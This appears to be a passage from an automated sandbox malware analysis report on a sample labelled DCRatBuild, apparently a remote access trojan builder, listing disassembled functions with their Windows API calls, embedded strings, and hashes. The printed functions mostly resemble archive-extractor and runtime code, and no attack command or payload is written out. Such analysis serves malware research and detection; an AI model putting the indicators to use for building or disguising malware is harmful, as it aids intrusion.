Instruction Fuzzy Hash: 12B12871900219EFCF25FFA8C8819AEBBB5FF14310F18455AF815AB222D735DA51CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00876FA5 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 134COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00876FAA
_wcslen.LIBCMT ref: 00877013
_wcslen.LIBCMT ref: 00877084

Part of subcall function 00877A9C: GetCurrentProcess.KERNEL32(00000020,?), ref: 00877AAB
Part of subcall function 00877A9C: GetLastError.KERNEL32 ref: 00877AF1
Part of subcall function 00877A9C: CloseHandle.KERNEL32(?), ref: 00877B00

Strings

\??\, xrefs: 0087702B
UNC\, xrefs: 00877051
SeRestorePrivilege, xrefs: 00876FC2
SeCreateSymbolicLinkPrivilege, xrefs: 00876FCC

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: _wcslen$CloseCurrentErrorH_prologHandleLastProcess
String ID: SeCreateSymbolicLinkPrivilege$SeRestorePrivilege$UNC\$\??\
API String ID: 3122303884-3508440684
Opcode ID: f41ae8142a4d6bdccf13cd600a7f0d5df7c17c68edc722809c1ea3cf3bd70c22
Instruction ID: 5632ea7f56c0a5543d51cb1f8af3e9c3832902ec0a0dc210e4624a23f1b741c5
Opcode Fuzzy Hash: f41ae8142a4d6bdccf13cd600a7f0d5df7c17c68edc722809c1ea3cf3bd70c22
Instruction Fuzzy Hash: 464107B1D087446AEF21E7788C82BEE736CFF15304F008455FA59E6186D674DA44C722

Uniqueness

Uniqueness Score: -1.00%

Function 00889711 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 126memoryCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00889736
_wcslen.LIBCMT ref: 008897D6
GlobalAlloc.KERNEL32(00000040,?), ref: 008897E5
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000003,?,00000000,00000000), ref: 00889806

Strings

<head><meta http-equiv="content-type" content="text/html; charset=, xrefs: 00889760
utf-8"></head>, xrefs: 0088976B
</html>, xrefs: 008897B7
<html>, xrefs: 00889755, 0088978E

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: _wcslen$AllocByteCharGlobalMultiWide
String ID: </html>$<head><meta http-equiv="content-type" content="text/html; charset=$<html>$utf-8"></head>
API String ID: 1116704506-4209811716
Opcode ID: 8c4014eebc6e77c9fba2defef35ec74d97028abd5b3d75847ffd4bff258af15a
Instruction ID: d24fa118b854309aed6f9e2d5cb0707ee8ac067f218bdeb67d92d406e9ccb5fb
Opcode Fuzzy Hash: 8c4014eebc6e77c9fba2defef35ec74d97028abd5b3d75847ffd4bff258af15a
Instruction Fuzzy Hash: 413117325183027BEB25BF689C46F6F7B98FF92320F18011EF551D61D2FB649A0583A6

Uniqueness

Uniqueness Score: -1.00%

Function 0088B5C0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 98windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00871316: GetDlgItem.USER32(00000000,00003021), ref: 0087135A
Part of subcall function 00871316: SetWindowTextW.USER32(00000000,008A35F4), ref: 00871370

EndDialog.USER32(?,00000001), ref: 0088B610
SendMessageW.USER32(?,00000080,00000001,?), ref: 0088B637
SendDlgItemMessageW.USER32(?,00000066,00000172,00000000,?), ref: 0088B650
SetWindowTextW.USER32(?,?), ref: 0088B661
GetDlgItem.USER32(?,00000065), ref: 0088B66A
SendMessageW.USER32(00000000,00000435,00000000,00010000), ref: 0088B67E
SendMessageW.USER32(00000000,00000443,00000000,00000000), ref: 0088B694

Strings

LICENSEDLG, xrefs: 0088B5D4

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: MessageSend$Item$TextWindow$Dialog
String ID: LICENSEDLG
API String ID: 3214253823-2177901306
Opcode ID: dda4ded27c9a3813a805b5f696cec8081572d25ca06d5887ba27055debcf3c52
Instruction ID: d2810beb8d495ce7ec45fe3df6b808867cc806e50f853abe649ae76bba187ef2
Opcode Fuzzy Hash: dda4ded27c9a3813a805b5f696cec8081572d25ca06d5887ba27055debcf3c52
Instruction Fuzzy Hash: B7212732204219BBE611BF65EC49F3B3B7DFB96B40F050015F600E24A1EB629E01D732

Uniqueness

Uniqueness Score: -1.00%

Function 0088FD10 Relevance: 13.7, APIs: 9, Instructions: 154memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,00000000,6012C7F1,00000001,00000000,00000000,?,?,0087AF6C,ROOT\CIMV2), ref: 0088FD99
MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,00000000,?,?,?,0087AF6C,ROOT\CIMV2), ref: 0088FE14
SysAllocString.OLEAUT32(00000000), ref: 0088FE1F
_com_issue_error.COMSUPP ref: 0088FE48
_com_issue_error.COMSUPP ref: 0088FE52
GetLastError.KERNEL32(80070057,6012C7F1,00000001,00000000,00000000,?,?,0087AF6C,ROOT\CIMV2), ref: 0088FE57
_com_issue_error.COMSUPP ref: 0088FE6A
GetLastError.KERNEL32(00000000,?,?,0087AF6C,ROOT\CIMV2), ref: 0088FE80
_com_issue_error.COMSUPP ref: 0088FE93

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: _com_issue_error$ByteCharErrorLastMultiWide$AllocString
String ID:
API String ID: 1353541977-0
Opcode ID: 0b6d452af724c19a637ebd80ad6df94a3bc51aee87f3f2d3e1c3d3ba77575a4a
Instruction ID: 3a44da3ef05ed6cc7cca44ae1f9f958703d132e206b99cfaaca8cdd39c2e181a
Opcode Fuzzy Hash: 0b6d452af724c19a637ebd80ad6df94a3bc51aee87f3f2d3e1c3d3ba77575a4a
Instruction Fuzzy Hash: 0A41F971A00219ABDB10FF68CC45BAEBBA8FF49710F144239FA15EB652D7749900C7E5

Uniqueness

Uniqueness Score: -1.00%

Function 0087AF24 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 210COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0087AF29

Strings

Name, xrefs: 0087B0B0
WQL, xrefs: 0087AFDC
ROOT\CIMV2, xrefs: 0087AF5C
SELECT * FROM Win32_OperatingSystem, xrefs: 0087AFCA
Windows 10, xrefs: 0087B0C2

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: H_prolog
String ID: Name$ROOT\CIMV2$SELECT * FROM Win32_OperatingSystem$WQL$Windows 10
API String ID: 3519838083-3505469590
Opcode ID: 62af7aa82faadb8bc87acd33392e3543c4ff951ce053397b275acd962ffe8666
Instruction ID: 0479cf32676450b93f891737480753b8a75a14dc30b394ef767ba0f7d21687a9
Opcode Fuzzy Hash: 62af7aa82faadb8bc87acd33392e3543c4ff951ce053397b275acd962ffe8666
Instruction Fuzzy Hash: D9718C71A00619AFEB14DFA4CC95AAEB7B9FF89310B044159F416E76A0CB30AD01CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00879382 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 135fileCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00879387
GetLongPathNameW.KERNEL32(?,?,00000800), ref: 008793AA
GetShortPathNameW.KERNEL32(?,?,00000800), ref: 008793C9

Part of subcall function 0087C29A: _wcslen.LIBCMT ref: 0087C2A2

Part of subcall function 00881FBB: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_00011FBB,0087C116,00000000,.exe,?,?,00000800,?,?,?,00888E3C), ref: 00881FD1

_swprintf.LIBCMT ref: 00879465

Part of subcall function 00874092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 008740A5

MoveFileW.KERNEL32(?,?), ref: 008794D4
MoveFileW.KERNEL32(?,?), ref: 00879514

Strings

rtmp%d, xrefs: 0087944E

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: FileMoveNamePath$CompareH_prologLongShortString__vswprintf_c_l_swprintf_wcslen
String ID: rtmp%d
API String ID: 3726343395-3303766350
Opcode ID: 0cd964eeeb2332971e79cbb2a5c4988b3f43ea4364c493211ecb41d4a4cf41b1
Instruction ID: 503772ffb51ef97ed82e12eac13443870e569b5b927b230dada554ab191fc181
Opcode Fuzzy Hash: 0cd964eeeb2332971e79cbb2a5c4988b3f43ea4364c493211ecb41d4a4cf41b1
Instruction Fuzzy Hash: 7741357190026866DF61EBA4CC45DDE737CFF55380F0088A5F68DE3156DA38CB898B61

Uniqueness

Uniqueness Score: -1.00%

Function 00881218 Relevance: 12.1, APIs: 8, Instructions: 125timeCOMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 0088122E

Part of subcall function 0087B146: GetVersionExW.KERNEL32(?), ref: 0087B16B

FileTimeToLocalFileTime.KERNEL32(00000003,00000000,00000003,?,00000064,00000000,00000000,?), ref: 00881251
FileTimeToSystemTime.KERNEL32(00000003,?,00000003,?,00000064,00000000,00000000,?), ref: 00881263
SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?), ref: 00881274
SystemTimeToFileTime.KERNEL32(?,?), ref: 00881284
SystemTimeToFileTime.KERNEL32(?,?), ref: 00881294
FileTimeToSystemTime.KERNEL32(?,?,?), ref: 008812CF
__aullrem.LIBCMT ref: 00881379

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion__aulldiv__aullrem
String ID:
API String ID: 1247370737-0
Opcode ID: 8e6a3af982f9dfe213b254f07f625a9978a6eebfe87dd968c7c8b30374d8d38c
Instruction ID: a522f53eb27029f07e8b8e334b71632af30c84b0c909ec7c2ebdc89706b6edef
Opcode Fuzzy Hash: 8e6a3af982f9dfe213b254f07f625a9978a6eebfe87dd968c7c8b30374d8d38c
Instruction Fuzzy Hash: 1241E5B1508305AFD710EF65C88496BFBE9FB89714F00892EF596C2610E738E649CB62

Uniqueness

Uniqueness Score: -1.00%

Function 00872210 Relevance: 11.0, APIs: 3, Strings: 3, Instructions: 468COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00872536

Part of subcall function 00874092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 008740A5

Part of subcall function 008805DA: _wcslen.LIBCMT ref: 008805E0

Strings

x%u, xrefs: 008726FD
xc%u, xrefs: 0087275A
;%u, xrefs: 00872523

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: __vswprintf_c_l_swprintf_wcslen
String ID: ;%u$x%u$xc%u
API String ID: 3053425827-2277559157
Opcode ID: f742c3bcb55c7437c84e6e9307b53e089ee52ef4577838ea95f5db28f9f4537e
Instruction ID: 43f2eb5c36574deda654b6d82a08863cc850431daddc121b4153b76c18c286a9
Opcode Fuzzy Hash: f742c3bcb55c7437c84e6e9307b53e089ee52ef4577838ea95f5db28f9f4537e
Instruction Fuzzy Hash: 37F113716042409BDB25EF288495BBA7799FB90300F08857DED8EDB28BCB65C9498763

Uniqueness

Uniqueness Score: -1.00%

Function 00889CFE Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 183COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00889D0A

Strings

<style>, xrefs: 00889E30
</style>, xrefs: 00889E52
<br>, xrefs: 00889DFE
</p>, xrefs: 00889DE8
>, xrefs: 00889D4B

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: _wcslen
String ID: </p>$</style>$<br>$<style>$>
API String ID: 176396367-3568243669
Opcode ID: 5ef2eaf5754a0c4c00646f6441d2930d6c35053473d7f5b525a4afbe810f450f
Instruction ID: b375b202fdf512d3c04801ca47f703329d9472d0bd80c177159cae901ee2885f
Opcode Fuzzy Hash: 5ef2eaf5754a0c4c00646f6441d2930d6c35053473d7f5b525a4afbe810f450f
Instruction Fuzzy Hash: AE51266674032395DB30BA29981177673E4FFA1790F6D042AFDC1DB2C1FBA58C818369

Uniqueness

Uniqueness Score: -1.00%

Function 0089F68D Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMON

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,0089FE02,00000000,00000000,00000000,00000000,00000000,?), ref: 0089F6CF
__fassign.LIBCMT ref: 0089F74A
__fassign.LIBCMT ref: 0089F765
WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,00000000,00000005,00000000,00000000), ref: 0089F78B
WriteFile.KERNEL32(?,00000000,00000000,0089FE02,00000000,?,?,?,?,?,?,?,?,?,0089FE02,00000000), ref: 0089F7AA
WriteFile.KERNEL32(?,00000000,00000001,0089FE02,00000000,?,?,?,?,?,?,?,?,?,0089FE02,00000000), ref: 0089F7E3

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: ff7dba880902df70162520cfa30f5065347b88ce578e7022d9eb58c306549e0b
Instruction ID: 2db243462a5c8a98a17710ec3ac4a2129f54d68b9f61fe57a6f563b5f1a3c97a
Opcode Fuzzy Hash: ff7dba880902df70162520cfa30f5065347b88ce578e7022d9eb58c306549e0b
Instruction Fuzzy Hash: F451A4B1900249AFDF14DFA8DC45AEEFBF4FF09300F18416AE655E7252D630AA41CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00892900 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00892937
___except_validate_context_record.LIBVCRUNTIME ref: 0089293F
_ValidateLocalCookies.LIBCMT ref: 008929C8
__IsNonwritableInCurrentImage.LIBCMT ref: 008929F3
_ValidateLocalCookies.LIBCMT ref: 00892A48

Strings

csm, xrefs: 008929DD

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: b3478384ec27d85071c59cc6074f867913e916adc71213103bd68ef579579056
Instruction ID: 9ab293f59086ae97aaefb920aafdc6cb209f47855c0d21e8230036d2480e5c78
Opcode Fuzzy Hash: b3478384ec27d85071c59cc6074f867913e916adc71213103bd68ef579579056
Instruction Fuzzy Hash: E9419F34A00218AFCF10EF68C885A9EBFF5FF45324F188165E815EB792D7319A45CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00889ED5 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114COMMON

Download Yara Rule

APIs

ShowWindow.USER32(?,00000000), ref: 00889EEE
GetWindowRect.USER32(?,00000000), ref: 00889F44
ShowWindow.USER32(?,00000005,00000000), ref: 00889FDB
SetWindowTextW.USER32(?,00000000), ref: 00889FE3
ShowWindow.USER32(00000000,00000005), ref: 00889FF9

Strings

RarHtmlClassName, xrefs: 00889FA5

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: Window$Show$RectText
String ID: RarHtmlClassName
API String ID: 3937224194-1658105358
Opcode ID: 46006680d90eef15782d9ae85a62d365b8a4b152b83cdb0ec4f04e98e7a87270
Instruction ID: 855865e3ea6291d3419ab672e3cc80eb30ac776ba1afaf722c039f049cc8c8f4
Opcode Fuzzy Hash: 46006680d90eef15782d9ae85a62d365b8a4b152b83cdb0ec4f04e98e7a87270
Instruction Fuzzy Hash: 6741D131005311EFDB256F68DC48B2B7BA8FF48701F04465AF949DA156CB34DA04CB62

Uniqueness

Uniqueness Score: -1.00%

Function 00889955 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 106COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 0088995E
_wcslen.LIBCMT ref: 00889993

Strings

<br>, xrefs: 008899DF
<style>body{font-family:"Arial";font-size:12;}</style>, xrefs: 00889987
, xrefs: 008899B0
 , xrefs: 00889A21

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: _wcslen
String ID: $ $<br>$<style>body{font-family:"Arial";font-size:12;}</style>
API String ID: 176396367-3743748572
Opcode ID: a51f0204100bf0ba429a3f2f5f1dcaf077d9e856e50d282b6ea10716dc4c1580
Instruction ID: e1139848fd8bc72f492c90e413f049408cd789946000325f9a954fb97555e3e5
Opcode Fuzzy Hash: a51f0204100bf0ba429a3f2f5f1dcaf077d9e856e50d282b6ea10716dc4c1580
Instruction Fuzzy Hash: 0C31403264435596EE34BB549C42B7AB3A4FB90720F58441FF4D6D7280FB94AD5183A2

Uniqueness

Uniqueness Score: -1.00%

Function 0089C8A4 Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0089C868: _free.LIBCMT ref: 0089C891

_free.LIBCMT ref: 0089C8F2

Part of subcall function 00898DCC: RtlFreeHeap.NTDLL(00000000,00000000,?,0089C896,?,00000000,?,00000000,?,0089C8BD,?,00000007,?,?,0089CCBA,?), ref: 00898DE2
Part of subcall function 00898DCC: GetLastError.KERNEL32(?,?,0089C896,?,00000000,?,00000000,?,0089C8BD,?,00000007,?,?,0089CCBA,?,?), ref: 00898DF4

_free.LIBCMT ref: 0089C8FD
_free.LIBCMT ref: 0089C908
_free.LIBCMT ref: 0089C95C
_free.LIBCMT ref: 0089C967
_free.LIBCMT ref: 0089C972
_free.LIBCMT ref: 0089C97D

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: bf1448b5a367794c459becf00bdc5ad94e8d71ea07fb2ac2ae3d8aaabc3cc25b
Instruction ID: 6972b2502b68fdd3ae6e2d9f1c43de04e167bdf70f4ee059beb470eddaa8fdd3
Opcode Fuzzy Hash: bf1448b5a367794c459becf00bdc5ad94e8d71ea07fb2ac2ae3d8aaabc3cc25b
Instruction Fuzzy Hash: 48110D71580B05EBED20B7B5CD07FCB7BACFF05B04F484C25B2ADE6092DA66A5068752

Uniqueness

Uniqueness Score: -1.00%

Function 0088E5EE Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 45libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,?,?,0088E669,0088E5CC,0088E86D), ref: 0088E605
GetProcAddress.KERNEL32(00000000,AcquireSRWLockExclusive), ref: 0088E61B
GetProcAddress.KERNEL32(00000000,ReleaseSRWLockExclusive), ref: 0088E630

Strings

KERNEL32.DLL, xrefs: 0088E600
AcquireSRWLockExclusive, xrefs: 0088E615
ReleaseSRWLockExclusive, xrefs: 0088E625

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
